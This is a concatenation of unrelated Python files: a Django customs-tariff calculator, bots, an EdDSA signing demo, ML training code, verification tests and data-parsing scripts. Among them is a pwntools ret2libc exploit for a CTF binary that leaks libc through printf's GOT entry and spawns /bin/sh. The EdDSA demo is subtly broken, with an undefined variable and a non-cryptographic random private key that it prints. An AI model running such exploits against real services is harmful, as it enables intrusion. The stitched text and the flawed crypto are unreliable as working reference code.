import requests
from django.shortcuts import render
import re
from tax_calculation.models import CustomTariff

class Ett_handler:
    def __init__(self, request):
        self.code = request.POST.get('code')
        self.code = self.code.replace(' ', '')
        self.specific_metric = request.POST.get('specific_metric')
        self.specific_label = request.POST.get('specific_label')
        self.valute = request.POST.get('valute')
        self.cource = request.POST.get('cource')
        self.usertype_cource = request.POST.get('usertype_cource')
        self.price = request.POST.get('price')
        self.tax = CustomTariff.objects.get(tnved_code=self.code).tax

    def get_parameters(self):  # Возврат контекста для шаблонов.
        return {'code' : self.code, 'specific_metric' : self.specific_metric, 'specific_label' : self.specific_label, 'valute' : self.valute,'price' : self.price, 'tax' : self.tax, 'cource' : self.cource, 'usertype_cource' : self.usertype_cource}

    def tax_type_checker(self):
        if (len(self.tax) <= 4 and self.tax[-1] == "%") or self.tax == "0":
            self.tax_type = 'advalore'
        elif len(self.tax.split()) == 1 and '+' not in self.tax:
            self.tax_type = 'specific'
        else:
            self.tax_type = 'combine'
        return self.tax_type

    def get_label(self): # Получение единицы измерения из специфической ставки.
        return re.search(r'(?<=\/).*', self.tax).group(0)

    def get_specific_tax(self): # Получение количественных данных из специфической ставки.
        return re.search(r'.{1,}\d', self.tax).group(0)

    def get_advalore_from_combine(self): # Получение адвалорной ставки из комбинированной.
        return re.search(r'.{1,}(?=%)', self.tax).group(0)

    def get_specific_from_combine(self): # Получение специфической ставки из комбинированной.
        return re.search(r'((?<= )|(?<=\+))\d{1,}.\d{1,}|(?<= )\d{1,}', self.tax).group(0)

    def get_combine_type(self): # Получение типа комбинированной ставки. Первый тип, содержит структуру "Но не менее", второй тип "% +"
        if '+' in self.tax:
            return 2
        else:
            return 1

    def get_valute(self): # Получение типа валюты из специфической ставки.
        if 'евро' in self.tax:
            return 'евро'
        else:
            return 'долл'

    def get_cource(self, valute): # Получение текущего курса валюты.
        if valute == 'долл':
            cource = requests.get('https://api.coingate.com/v2/rates/merchant/USD/RUB').json()
            return cource
        if valute == 'евро':
            cource = requests.get('https://api.coingate.com/v2/rates/merchant/EUR/RUB').json()
            return cource

    def calculate_tax(self, specific_metric=None, combine_type=None): # Непосредственный рассчет таможенной пошлины, в зависимости от ее типа.
        tax_type = self.tax_type_checker()
        if tax_type == 'advalore':
            if self.tax != '0':
                tax = float(self.price) * (float(self.tax[:-1]) / 100)
                return round(tax, 2)
            else:
                return 0
        elif tax_type == 'specific':
            if self.usertype_cource == '':  # Если не введен кастомный курс валюты
                specific_tax = self.get_specific_tax()
                tax = float(specific_tax) * float(specific_metric) * float(self.cource)
            else:
                specific_tax = self.get_specific_tax()
                tax = float(specific_tax) * float(specific_metric) * float(self.usertype_cource)
            return round(tax, 2)
        elif tax_type == 'combine':
            advalore_tax = self.get_advalore_from_combine()
            advalore_result = float(advalore_tax) / 100 * float(self.price)

            specific_tax = self.get_specific_from_combine()
            if self.usertype_cource == '':
                specific_result = float(specific_tax) * float(specific_metric) * float(self.cource)
            else:
                specific_result = float(specific_tax) * float(specific_metric) * float(self.usertype_cource)
            if combine_type == 1:
                if advalore_result > specific_result:
                    return {'result' : round(advalore_result, 2), 'formula_type' : 'advalore'}
                else:
                    return {'result' : round(specific_result, 2), 'formula_type' : 'specific'}
            elif combine_type == 2:
                return {'result' : round(advalore_result + specific_result, 2), 'formula_type' : 'summary'}

def index(request):
    return render(request, 'tax_calculation/index.html')

def calculate_tax(request):
    handler = Ett_handler(request)
    tax_type = handler.tax_type_checker()
    parameters = handler.get_parameters()
    parameters['tax_type'] = tax_type
    #Проверка на достаточность данных для рассчета по адвалорной формуле. Если данных недостаточно, запрашиваем дополнительные, если достаточно, производим рассчет.
    if tax_type == 'advalore':
        if parameters['price'] == '':
            return render(request, 'tax_calculation/result.html', context=parameters)
        else:
            calculated_tax = handler.calculate_tax()
            parameters['calculated_tax'] = calculated_tax
            return render(request, 'tax_calculation/result.html', context=parameters)
    #Проверка на достаточность данных для рассчета по специфической формуле. Если данных недостаточно, запрашиваем дополнительные если достаточно, производим рассчет.
    elif tax_type == 'specific':
        if parameters['specific_metric'] == '':
            parameters['specific_label'] = handler.get_label()
            parameters['valute'] = handler.get_valute()
            parameters['cource'] = handler.get_cource(valute=parameters['valute'])
            return render(request, 'tax_calculation/result.html', context=parameters)
        else:
            calculated_tax = handler.calculate_tax(parameters['specific_metric'])
            parameters['calculated_tax'] = calculated_tax
            return render(request, 'tax_calculation/result.html', context=parameters)
    #Проверка на достаточность данных для рассчета по комбинированной формуле. Если данных недостаточно, запрашиваем дополнительные если достаточно, производим рассчет.
    elif tax_type == 'combine':
        combine_type = handler.get_combine_type()
        if parameters['specific_metric'] == '' or parameters['price'] == '':
            parameters['specific_label'] = handler.get_label()
            parameters['valute'] = handler.get_valute()
            parameters['cource'] = handler.get_cource(valute=parameters['valute'])
            parameters['combine_type'] = combine_type
            return render(request, 'tax_calculation/result.html', context=parameters)
        else:
            calculated_tax = handler.calculate_tax(specific_metric=parameters['specific_metric'], combine_type=combine_type)
            parameters['calculated_tax'] = calculated_tax['result']
            parameters['combine_formula_type'] = calculated_tax['formula_type']
            return render(request, 'tax_calculation/result.html', context=parameters)


"""Given a collection of distinct integers, return all possible permutations.
Example:
Input: [1,2,3]
Output:
[
  [1,2,3],
  [1,3,2],
  [2,1,3],
  [2,3,1],
  [3,1,2],
  [3,2,1]
]"""

class Solution:
    def permute(self, nums: List[int]) -> List[List[int]]:
        if len(nums) <= 1:
            return [nums]
        answer = []
        for i, num in enumerate(nums):
            n = nums[:i] + nums[i + 1:]
            for y in self.permute(n):
                answer.append([num] + y)
        return answer


import hashlib
import json
import random
# The following code is taken from:
# https://www.geeksforgeeks.org/blockchain-elliptic-curve-digital-signature-algorithm-ecdsa/
# Although some formulas/parts remain the same, some alterations are added to simulate the XRPL
# (further referencing required)

# ----------------------------------------------------------------
part_pow = pow(2, 255)
p = part_pow - 19

partA = 15112221349535400772501151409588531511454012693041857206046113283949847762202
partB = 46316835694926478169428394003475163141307993866256225615783033603165251855960
G = partA,partB
# ----------------------------------------------------------------
def mod_Possitive(a, p):
    if a < 0:
        part1 = p * int(abs(a) * 1/p)
    return (a + part1 + p) % p
# ----------------------------------------------------------------
def from_Txt_to_Int(txt):
    encode1 = txt.encode()
    hex1 = encode1.hex()
    return int(hex1, 16)
# ----------------------------------------------------------------

def Greatest_Common_Divisor(a, b):
    while a != 0:
        value1 = a
        value2 = b
        theRemainder = value2 % value1
        a = theRemainder
        b = value1
    return b
# ----------------------------------------------------------------
def inverse_Modulo(a, m):
    if a < 0:
        part1 = int(abs(a) * 1/m)
        part2 = m * part1
        a = (a + part2 + m) % m

    if Greatest_Common_Divisor(a, m) != 1:
        return None

    u1 = 1
    u2 = 0
    u3 = a
    v1 = 0
    v2 = 1
    v3 = m
    while v3 != 0:
        q = u3 // v3
        v1, v2, v3, u1, u2, u3 = (u1 - q * v1), (u2 - q * v2), (u3 - q * v3), v1, v2, v3
        answ = u1 % m
    return answ
# ----------------------------------------------------------------
def double_And_Add(P, k, a, d, mod):
    additionPoint = (P[0], P[1])
    k_toBin = bin(k)
    Bin_k_Len = len(k_toBin)
    k_toBin = k_toBin[2:Bin_k_Len]
    len2 = len(k_toBin)
    for i in range(1, len2 ):
        currentBit = k_toBin[i: i + 1]

        additionPoint = apply_Point_add(additionPoint, additionPoint, a, d, mod)

        if currentBit == '1':
            additionPoint = apply_Point_add(additionPoint, P, a, d, mod)

    return additionPoint
# ----------------------------------------------------------------
# Point Addition - Function - 3d point
def apply_Point_add(P, Q, a, d, mod):
    x1, y1 = P[0], P[1]
    x2, y2 = Q[0], Q[1]
    # -----------
    y3_part1 = ((y1 * y2 - a * x1 * x2) % mod)
    y3_part2 = inverse_Modulo(1 - d * x1 * x2 * y1 * y2, mod)
    # -----------
    x3_part1 = ((x1 * y2 + y1 * x2) % mod)
    x3_part2 = inverse_Modulo(1 + d * x1 * x2 * y1 * y2, mod)
    return (x3_part1 * x3_part2) % mod, (y3_part1 * y3_part2) % mod
# ----------------------------------------------------------------
a = -1;

kk = -121665
d = mod_Possitive(kk * inverse_Modulo(121666, p), p)
x0, y0 = G[0], G[1]
# ----------------------------------------------------------------
# Appropriate format for XRPL addresses
value = 256
privateKey = random.getrandbits(value)
publicKey = double_And_Add(G, privateKey, a, d, p)
print("Public Key:")
print(publicKey)
print("Private Key:")
print(privateKey)
# ----------------------------------------------------------------
with open('transaction.json', 'r') as f:
    XRPL_transaction = json.load(f)
# https://www.w3schools.com/python/ref_string_join.asp
v_toStr = [str(value) for value in XRPL_transaction.values()]
conc_str = ''.join(v_toStr)
message = from_Txt_to_Int(conc_str)
# ----------------------------------------------------------------
# Hashing the message/ transaction with sha512-half
# source: https://stackoverflow.com/questions/49707152/understand-what-hexdigest-do
def apply_Hash(message):
    message_To_Str = str(message)
    message_To_Bytes = message_To_Str.encode()
    sha512 = hashlib.sha512(message_To_Bytes).digest()
    sha512half_1 = sha512[:32]
    sha512half = int(sha512half_1.hex(), 16)
    return sha512half
# ----------------------------------------------------------------
# EDDSA Sign - formulas:

# https://cryptobook.nakov.com/digital-signatures/eddsa-and-ed25519
r = apply_Hash(apply_Hash(privateKey) + message) % p
R = double_And_Add(G, r, a, d, p)
h = apply_Hash(R[0] + publicKey[0] + message) % p
s = r + h * privateKey
# ----------------------------------------------------------------
print("----------------------")
print("EDDSA SIGN:")
print("msg:", message)
print("Parts of the signature:")
print("R:", R)
print("s:", s)
# ----------------------------------------------------------------
# EDDSA Verify - formulas:
# https://cryptobook.nakov.com/digital-signatures/eddsa-and-ed25519
h = apply_Hash(R[0] + publicKey[0] + message) % p
the_Point1 = double_And_Add(G, s, a, d, p)
p2_value = double_And_Add(publicKey, h, a, d, p)
the_Point2 = apply_Point_add(R, p2_value, a, d, p)
# ----------------------------------------------------------------
print("----------------------")
print("Values of P_1 + P_2:")
print(the_Point1)
print(the_Point2)
print("----------------------")
if the_Point1[0] == the_Point2[0] and the_Point1[1] == the_Point2[1]:
    print("The Signature is valid")
else:
    print("Signature violation detected!")
# ----------------------------------------------------------------
EDDSA_Points = {
    'p1_0': the_Point1[0],
    'p1_1': the_Point1[1],
    'p2_0': the_Point2[0],
    'p2_1': the_Point2[1]
}
with open('../task_3/circuit/input.json', 'w') as f:
    json.dump(EDDSA_Points, f)
# ----------------------------------------------------------------


import rethinkdb as r

# Connect, defaults are 'localhost', 28015, and the 'test' db.
conn = r.connect(host='localhost', port=28015, db='CheeseRealtime')

# Start a changefeed
cheese_cursor = r.table('Cheese').changes().run(conn)
for cheese in cheese_cursor:
    print(cheese)


from p2pd.test_init import *
import random
from p2pd.clock_skew import *
from p2pd.settings import *

class TestClockSkew(unittest.IsolatedAsyncioTestCase):
    async def test_get_ntp_pool_ntp(self):
        i = await Interface().start_local()
        ntp = None

        for _ in range(0, 5):
            server = random.choice(NTP_SERVERS)
            ntp = await get_ntp(i, server=server[0])
            if ntp:
                break

        self.assertTrue(ntp)

    async def test_get_clock_skew(self):
        i = await Interface().start_local()
        sys_clock = await SysClock(i).start()
        self.assertTrue(sys_clock.clock_skew)

if __name__ == '__main__':
    main()


from db import *
from reddit import *
from content import *

def handle_plegde(pledge):
	print(f'Handling pledge {pledge}')
	pledges = get_pledges()
	if pledge[1].id in pledges:
		print('Pledge already handled')
		return None
	promise = get_promise(pledge[0].id)
	if promise is None:
		print('Promise no exist')
		return None
	insert_pledge(
		(
			pledge[0].id,
			pledge[1].id,
			pledge[1].author.name,
			pledge[1].author.id
		)
	)
	comment_pledge(pledge[1])
	bot_comment_id = promise[6]
	rt = get_reddit()
	bot_comment = rt.comment(bot_comment_id)
	bot_comment.edit(
		bot_comment.body + '\n\n- /u/' + pledge[1].author.name+'\n'
	)

def handle_watcher(watcher):
	print(f'Handling Watcher {watcher}')
	insert_watcher(
		(
			watcher[0].id,
			watcher[1].author.name,
			watcher[1].author.id
		 )
	)

def handle_all_pledges():
	print('handling all pledges')
	for pledge in get_all_pledge_comments():
		handle_plegde(pledge)

def handle_all_watchers():
	print('handling all watchers')
	for watcher in get_all_watch_comments():
		handle_watcher(watcher)

if __name__ == '__main__':
	handle_all_watchers()
	handle_all_pledges()


""" Módulo de testes para o @applled com fins de aprendizado """

import gdshortener

from pyrogram.errors import YouBlockedUser
from userge import userge, Message
from userge.utils.exceptions import StopConversation

@userge.on_cmd("bitly", about={
    'header': "Encurte qualquer URL usando o bit.ly",
    'como usar': "{tr}bitly [link ou resposta]"}, allow_via_bot=False)
async def bitly(msg: Message):
    url = msg.input_or_reply_str
    if not url:
        await msg.err("Obrigatório uma URL aqui.")
        return
    try:
        async with userge.conversation("Sl_BitlyBot") as conv:
            await conv.send_message("/start")
            await conv.get_response(mark_read=True)
            await conv.send_message(url)
            shorten_url = (
                await conv.get_response(mark_read=True)
            ).text.split('\n', maxsplit=1)[-1]
            await msg.edit(f"Prontinho: {shorten_url}", disable_web_page_preview=True)
    except YouBlockedUser:
        await msg.edit("Desbloqueie o **@Sl_BitlyBot** para encurtar a URL")
    except StopConversation:
        await msg.err("O Bot está morto...")

@userge.on_cmd("isgd", about={
    'header': "Encurte qualquer URL usando o is.gd",
    'como usar': "{tr}isgd [link ou resposta]"})
async def is_gd(msg: Message):
    url = msg.input_or_reply_str
    if not url:
        await msg.err("Obrigatório uma URL aqui.")
        return
    s = gdshortener.ISGDShortener()
    try:
        s_url, stats = s.shorten(url, log_stat=True)
    except Exception as er:
        await msg.err(str(er))
    else:
        await msg.edit(
            f"**URL Encurtada:**\n`{s_url}`\n\n**Stats:** `{stats}`",
            disable_web_page_preview=True
        )

@userge.on_cmd("statsisgd", about={
    'header': "Reverta uma URL is.gd na original URl.",
    'como usar': "{tr}statsisgd [link ou resposta]"})
async def stats_is_gd(msg: Message):
    url = msg.input_or_reply_str
    if not url:
        await msg.err("Precisa de uma URL para verificar.")
        return
    s = gdshortener.ISGDShortener()
    try:
        original_url = s.lookup(url)
    except Exception as er:
        await msg.err(str(er))
    else:
        await msg.edit(
            f"**URL:** `{original_url}`",
            disable_web_page_preview=True
        )


from nio.properties import Property, BoolProperty

from .mongodb_base import MongoDBBase

class MongoDBRemove(MongoDBBase):

    """ A block for running `remove` against a mongodb.

    Properties:
        condition (expression): A dictionary form of a remove expression. This
        is an expression property that can evaluate to a dictionary or be a
        parseable JSON string

    """
    condition = Property(
        title='Condition',
        default="{'id': {'$gt': 0}}")
    only_one = BoolProperty(
        title='Maximum One Deletion',
        default=False)

    def execute_query(self, collection, signal):
        condition = self.evaluate_expression(self.condition, signal)
        self.logger.debug("Deleting on condition {}".format(condition))

        res = collection.remove(condition, multi=(not self.only_one()))
        return [{'deleted': res.get('n', 0)}]


#############################
### Constants & Registers ###
#############################

### i2c addresses ###
AG_I2C_ADDR = 0x6B # accel and gyro i2c address
M_I2C_ADDR = 0x1E # magnetometer i2c address

### sensor sensitivity constans ###
SENSITIVITY_ACCEL_2 = 0.000061
SENSITIVITY_GYRO_245 = 0.00875
SENSIIVITY_MAG_4 = 0.00014
GRAVITY = 9.8

### accel/gyro (xl/g) registers ###
CTRL_REG1_G = 0x10
CTRL_REG2_G = 0x11
CTRL_REG3_G = 0x12
ORIENT_CFG_G = 0x13

OUT_TEMP_L = 0X15
OUT_TEMP_H = 0x1

STATUS_REG_0 = 0X17

OUT_X_L_G = 0x18
OUT_X_H_G = 0x19
OUT_Y_L_G = 0x1A
OUT_Y_H_G = 0x1B
OUT_Z_L_G = 0x1C
OUT_Z_H_G = 0x1D

CTRL_REG4 = 0x1E
CTRL_REG5_XL = 0x1F
CTRL_REG6_XL = 0x20
CTRL_REG7_XL = 0X21

STATUS_REG_1 = 0x27
OUT_X_L_XL = 0x28
OUT_X_H_XL = 0x29
OUT_Y_L_XL = 0x2A
OUT_Y_H_XL = 0x2B
OUT_Z_L_XL = 0x2C
OUT_Z_H_XL = 0x2D

FIFO_CTRL = 0x2E
FIFO_SRC = 0x2F

### magneto registers ###
OFFSET_X_REG_L_M = 0x05
OFFSET_X_REG_H_M = 0x06
OFFSET_Y_REG_L_M = 0x07
OFFSET_Y_REG_H_M = 0x08
OFFSET_Z_REG_L_M = 0x09
OFFSET_Z_REG_H_M = 0x0A

CTRL_REG1_M = 0x20
CTRL_REG2_M = 0x21
CTRL_REG3_M = 0x22
CTRL_REG4_M = 0x23
CTRL_REG5_M = 0x24

STATUS_REG_M = 0x27

OUT_X_L_M = 0x28
OUT_X_H_M = 0x29
OUT_Y_L_M = 0x2A
OUT_Y_H_M = 0x2B
OUT_Z_L_M = 0x2C
OUT_Z_H_M = 0x2D

### who am i? question registers ###
WHO_AM_I_AG = 0x0F
WHO_AM_I_M = 0x0F

### who am i? response registers (for comparisson purposes) ###
WHO_AM_I_AG_RSP = 0x68
WHO_AM_I_M_RSP = 0x3D

# Verbosity constant for debug prints
VERBOSITY = False


from pwn import *

# sh=remote("p1.tjctf.org",8001)
sh=process("./stop")

# libc=ELF("libc6_2.27-3ubuntu1_amd64.so")
libc=ELF("/usr/lib/x86_64-linux-gnu/libc-2.30.so")

exe=ELF("stop")

p= 'a'*280
p+=p64(0x0000000000400953) 		# pop rdi
p+=p64(exe.got["printf"]) 		# printf got
p+=p64(0x000000000040056e) 		# ret
p+=p64(exe.plt["printf"]) 		# printf plt
p+=p64(0x000000000040056e) 		# ret
p+=p64(exe.sym["main"])

sh.sendline("a")
sh.sendlineafter("gory? ",p)

sh.recvuntil("yet\n")
leak=u64(sh.recv(6).ljust(8,"\x00"))
base_libc=leak - libc.sym['printf']
system = base_libc + libc.sym['system']
bin_sh = base_libc + libc.search("/bin/sh").next()

log.info(hex(base_libc))
log.info(hex(system))

p= 'a'*280
p+= p64(0x0000000000400953)		# pop rdi
p+= p64(bin_sh)
p+= p64(0x000000000040056e)		# ret
p+= p64(system)

sh.sendline("a")
sh.sendline(p)

sh.interactive()


import torch
import tqdm

class Trainer:
    def __init__(self, model, model_type, optimizer, criterion, scheduler, data_loader, device):
        self._model = model
        self._optimizer = optimizer
        self._criterion = criterion
        self._scheduler = scheduler
        self._data_loader = data_loader
        self._model_type = model_type
        self._device = device

    def make_train_step(self):
        # Builds function that performs a step in the train loop
        def train_step(train_batch):
            # Sets model to TRAIN mode
            self._model.train()

            # Zero the gradients
            self._optimizer.zero_grad()

            # Makes predictions and compute loss
            if self._model_type == 'pairwise':
                batch_score_pos = self._model(
                    query_emb = train_batch[ 'query_emb'].to(self._device),
                    entity_emb = train_batch[ 'ent_emb_pos'].to(self._device),
                    neighbors = train_batch['pos_ent_neighbors']
                )

                batch_score_neg = self._model(
                    query_emb=train_batch['query_emb'].to(self._device),
                    entity_emb=train_batch['ent_emb_neg'].to(self._device),
                    neighbors=train_batch['neg_ent_neighbors']
                )

                batch_loss = self._criterion(
                    batch_score_pos.tanh(),
                    batch_score_neg.tanh(),
                    torch.ones(batch_score_pos.size()).to(self._device)
                )

            elif self._model_type == 'pointwise':
                batch_score = self._model(
                    query_emb=train_batch['query_emb'].to(self._device),
                    entity_emb=train_batch['ent_emb'].to(self._device),
                )

                batch_loss = self._criterion(batch_score, torch.unsqueeze(train_batch['label'], dim=1).to(self._device))
            else:
                raise ValueError('Model type must be `pairwise` or `pointwise`.')

            # Computes gradients
            batch_loss.backward()

            # Updates parameters
            self._optimizer.step()
            self._scheduler.step()

            # Returns the loss
            return batch_loss.item()

        # Returns the function that will be called inside the train loop
        return train_step

    def train(self):
        train_step = self.make_train_step()
        epoch_loss = 0
        num_batch = len(self._data_loader)

        for _, batch in tqdm.tqdm(enumerate(self._data_loader), total=num_batch):
            batch_loss = train_step(batch)
            epoch_loss += batch_loss

        return epoch_loss


from django.db import models

# Create your models here.

class DisplayItem(object):
    # common item to be used for display
    # results from various apis should be mapped
    # to this common api

    title = None
    # title or label
    format = None
    # format or type (image, text, etc)
    source = None
    # owning institution or provider
    date = None
    # creation date / time period
    url = None
    # link out to original item
    location = None
    # geographic location
    thumbnail = None
    # url to thumbnail image

    def __init__(self, **kwargs):
        for key, val in kwargs.iteritems():
            setattr(self, key, val)

    def __repr__(self):
        return u'<%s %s>' % (self.title, self.thumbnail or '<no url>')

# common result item
'''
dpla results:

format type: image text, moving image sound, physical object
owning institution; also has provider
label/title
creator
description
search results have link within dpla, link out to partner institution
rights
url
created date
location

'''

'''
europeana
title, alt. title
description
geographic coverage
time period
types (format) - e.g. image
url
source, provider

'''


input = [16, 12, 1, 0, 15, 7, 11]
last_said = {}
said_twice = set()

# init
for round, x in enumerate(input, 1):
    last_said[x] = round

curr_num = 0
for x in range(1 + len(input), 30000000):
    # calc next num
    next_num = None
    if curr_num in last_said:
        next_num = x - last_said[curr_num]
    else:
        next_num = 0

    last_said[curr_num] = x

    curr_num = next_num

print(f"silver: {curr_num}")


import os

def verify():
    images = sorted(os.listdir('traindata'))
    labels = sorted(os.listdir('trainlabels'))
    images = [img.split('.jpg')[0] for img in images]
    labels = [label.split('.txt')[0] for label in labels]
    verified_status = all([i==j for i,j in zip(images,labels)])
    print("All images and label names are the same: ", verified_status)


from nagini_contracts.contracts import *

from typing import cast

class Example:
    def __init__(self) -> None:
        self.f = 0
        self.g = 1
        Ensures(Acc(self.f) and Acc(self.g))
        Ensures(self.f == 0 and self.g == 1)

    # LowVal currently doesn't support __eq__ for objects, will just use reference equality.
    # Currently Nagini doesn't allow overriding __eq__ anyway.
    # @Pure
    # def __eq__(self, other: object) -> bool:
    #     Requires(Acc(self.f, 1/4))
    #     Requires(Implies(isinstance(other, Example), Acc(cast(Example, other).f, 1/4)))
    #     if isinstance(other, Example):
    #         return self.f == cast(Example, other).f and self.g == cast(Example, other).g
    #     return cast(object, self).__eq__(other)

class StringContainer:
    def __init__(self, s: str) -> None:
        self.s = s
        Ensures(Acc(self.s))
        Ensures(self.s == s)

def example_low(secret: bool) -> Example:
    Ensures(Acc(Result().f) and Acc(Result().g))
    #:: ExpectedOutput(postcondition.violated:assertion.false)
    Ensures(Low(Result()))
    a = Example()
    b = Example()
    if secret:
        return a
    return b

def example_lowval(secret: bool) -> Example:
    Ensures(Acc(Result().f) and Acc(Result().g))
    #:: ExpectedOutput(postcondition.violated:assertion.false)
    Ensures(LowVal(Result())) # for objects the same as Low.
    a = Example()
    b = Example()
    if secret:
        return a
    return b

def example_tuple_low(secret: bool) -> Example:
    Ensures(Acc(Result().f) and Acc(Result().g))
    #:: ExpectedOutput(postcondition.violated:assertion.false)
    Ensures(Low((Result().f, Result().g)))
    a = Example()
    b = Example()
    if secret:
        return a
    return b

def example_tuple_lowval(secret: bool) -> Example:
    Ensures(Acc(Result().f) and Acc(Result().g))
    #:: ExpectedOutput(postcondition.violated:assertion.false)
    Ensures(LowVal((Result().f, Result().g)))
    a = Example()
    b = Example()
    if secret:
        return a
    return b

def example_each_field_lowval(secret: bool) -> Example:
    Ensures(Acc(Result().f) and Acc(Result().g))
    Ensures(LowVal(Result().f) and LowVal(Result().g))
    a = Example()
    b = Example()
    if secret:
        return a
    return b

def int_constant(secret: bool) -> int:
    Ensures(Low(Result()))
    if secret:
        return 1
    return 1

def int_unchanged_low(secret: int, x: int) -> int:
    #:: ExpectedOutput(postcondition.violated:assertion.false)
    Ensures(Implies(Low(x), Low(Result())))
    if secret == 0:
        return x + secret
    return x

def int_unchanged_lowval(secret: int, x: int) -> int:
    Ensures(Implies(Low(x), LowVal(Result())))
    if secret == 0:
        return x + secret
    return x

def bool_int(secret: bool) -> int:
    #:: ExpectedOutput(postcondition.violated:assertion.false)
    Ensures(Low(Result()))
    if secret:
        return 1
    return True

def bool_int_lowval(secret: bool) -> int:
    Ensures(LowVal(Result()))
    if secret:
        return 1
    return True

def string_container_low(secret: bool, x: str) -> str:
    #:: ExpectedOutput(postcondition.violated:assertion.false)
    Ensures(Implies(Low(x), Low(Result())))
    a = StringContainer(x)
    b = StringContainer(x)
    if secret:
        return a.s
    return b.s

def string_container_lowval(secret: bool, x: str) -> str:
    Ensures(Implies(Low(x), LowVal(Result())))
    a = StringContainer(x)
    b = StringContainer(x)
    if secret:
        return a.s
    return b.s


from os   import listdir
from os   import path
from lxml import etree

from gutenbergpy.parse.cachefields      import Fields
from gutenbergpy.parse.book             import Book
from gutenbergpy.parse.parseitem        import ParseItem
from gutenbergpy.parse.parseitemfile    import ParseItemFiles
from gutenbergpy.parse.parseitemtitles  import ParseItemTitles
from gutenbergpy.parse.rdfparseresults  import RDFParseResults
from gutenbergpy.gutenbergcachesettings import GutenbergCacheSettings
from gutenbergpy.utils                  import Utils

##
# The rdf parser
# noinspection PyClassHasNoInit
class RdfParser:
    ##
    # The main funciton, this actually parses the rdf files from the downloaded cache
    @staticmethod
    def do():
        result = RDFParseResults()

        result.field_sets = Fields.FIELD_COUNT * [None]
        result.field_sets[Fields.TITLE]     = ParseItemTitles(xpath=['//dcterms:title/text()','//dcterms:alternative/text()'])
        result.field_sets[Fields.SUBJECT]   = ParseItem(xpath =['//dcterms:subject/rdf:Description/rdf:value/text()'])
        result.field_sets[Fields.TYPE]      = ParseItem(xpath =['//dcterms:type/rdf:Description/rdf:value/text()'])
        result.field_sets[Fields.LANGUAGE]  = ParseItem(xpath =['//dcterms:language/rdf:Description/rdf:value/text()'])
        result.field_sets[Fields.AUTHOR]    = ParseItem(xpath =['//dcterms:creator/pgterms:agent/pgterms:alias/text()','//dcterms:creator/pgterms:agent/pgterms:name/text()'])
        result.field_sets[Fields.BOOKSHELF] = ParseItem(xpath =['//pgterms:bookshelf/rdf:Description/rdf:value/text()'])
        result.field_sets[Fields.FILES]     = ParseItemFiles(xpath =['//dcterms:hasFormat'])
        result.field_sets[Fields.PUBLISHER] = ParseItem(xpath =['//dcterms:publisher/text()'])
        result.field_sets[Fields.RIGHTS]    = ParseItem( xpath =['//dcterms:rights/text()'])

        dirs  =  [d for d in listdir(GutenbergCacheSettings.CACHE_RDF_UNPACK_DIRECTORY) if not d.startswith("DELETE")]
        total = len(dirs)

        for idx, dir in enumerate(dirs):
            processing_str = "Processing progress: %d / %d" % (idx,total)
            Utils.update_progress_bar(processing_str,idx,total)
            file_path = path.join(GutenbergCacheSettings.CACHE_RDF_UNPACK_DIRECTORY,dir,'pg%s.rdf'%(dir))
            doc = etree.parse(file_path,etree.ETCompatXMLParser())

            res = Fields.FIELD_COUNT * [-1]
            for idx_field, pt in enumerate(result.field_sets):
                if not pt.needs_book_id():
                    res[idx_field] = pt.do(doc)
                else:
                    res[idx_field] = pt.do(doc,idx+1)

            gutenberg_book_id = int(dir)

            date_issued_x   = doc.xpath('//dcterms:issued/text()', namespaces=GutenbergCacheSettings.NS)
            num_downloads_x = doc.xpath('//pgterms:downloads/text()',namespaces=GutenbergCacheSettings.NS)

            date_issued       = '1000-10-10' if not date_issued_x or date_issued_x[0] =='None' else str(date_issued_x[0])
            num_downloads     =  -1 if not num_downloads_x else int(num_downloads_x[0])
            publisher_id      =  -1 if not res[Fields.PUBLISHER] else res[Fields.PUBLISHER][0]
            rights_id         =  -1 if not res[Fields.RIGHTS]    else res[Fields.RIGHTS][0]
            language_id       =  -1 if not res[Fields.LANGUAGE] else res[Fields.LANGUAGE][0]
            bookshelf_id      =  -1 if not res[Fields.BOOKSHELF] else res[Fields.BOOKSHELF][0]
            type_id           =  -1 if not  res[Fields.TYPE]    else  res[Fields.TYPE][0]

            newbook = Book(publisher_id, rights_id, language_id, bookshelf_id,
                           gutenberg_book_id, date_issued, num_downloads, res[Fields.TITLE],
                           res[Fields.SUBJECT], type_id, res[Fields.AUTHOR], res[Fields.FILES])

            result.books.append(newbook)

        return result


import datetime
import pandas as pd
import math
import numpy as np

def haversine(coord1, coord2):
    """
    Haversine distance in meters for two (lat, lon) coordinates
    """
    lat1, lon1 = coord1
    lat2, lon2 = coord2
    radius = 6371000 # mean earth radius in meters (GRS 80-Ellipsoid)
    dlat = math.radians(lat2-lat1)
    dlon = math.radians(lon2-lon1)
    a = math.sin(dlat/2) * math.sin(dlat/2) + math.cos(math.radians(lat1)) \
        * math.cos(math.radians(lat2)) * math.sin(dlon/2) * math.sin(dlon/2)
    c = 2 * math.atan2(math.sqrt(a), math.sqrt(1-a))
    d = radius * c
    return d/1000

r = lambda f,p: f - f % p # For rounding decimals

def mark_point(dir,imeifile,tau,static_dist,bigtau,speed_trip):

    """
    Marks Start and Stop point of the points

    """

    df = pd.read_csv(dir + "Data\\" + imeifile, converters={'Latitude': str,'Longitude':str})
    df['Latitude'] = [r(pd.to_numeric(df['Latitude'][i]),0.0000001) for i in range(0,len(df))]
    df['Longitude'] = [r(pd.to_numeric(df['Longitude'][i]),0.0000001) for i in range(0,len(df))]
    df['Date Time'] = df['Date Time'].apply(lambda x : datetime.datetime.strptime(x,'%Y%m%d %H:%M:%S'))
    df = df.sort_values(by = ['Date Time']).reset_index(drop=True)
    df['TripID'] = 0
    df['SegmentID'] = 0
    df['Remove'] = "Static Points" #Removing pints which are stationary i.e due to GPS inaccuracy
    df['Dist'] = 1
    df['Timediff'] = 1
    dfi = pd.DataFrame()
    #Calculate distnace of those points
    df['Dist'][1:len(df)] = [haversine((df['Latitude'][x-1],df['Longitude'][x-1]),(df['Latitude'][x],df['Longitude'][x])) for x in df['Dist'][1:].index.tolist()]
    df['Remove']= np.where(df['Dist'] > static_dist,"0","Static Points")
    # Calculate Static points until they are moving i.e distnace > static_dist
    while any(df['Remove'][i] == "Static Points" for i in range(1,len(df))):
            dfi = dfi.append(df[df['Remove'] != "0"]).reset_index(drop=True)
            df = df[df['Remove'] == "0"].reset_index(drop=True)
            df['Dist'] = 1
            df['Dist'][1:len(df)] = [haversine((df['Latitude'][x-1],df['Longitude'][x-1]),(df['Latitude'][x],df['Longitude'][x])) for x in df['Dist'][1:].index.tolist()]
            df['Remove']= np.where(df['Dist'] < static_dist,"Static Points","0")

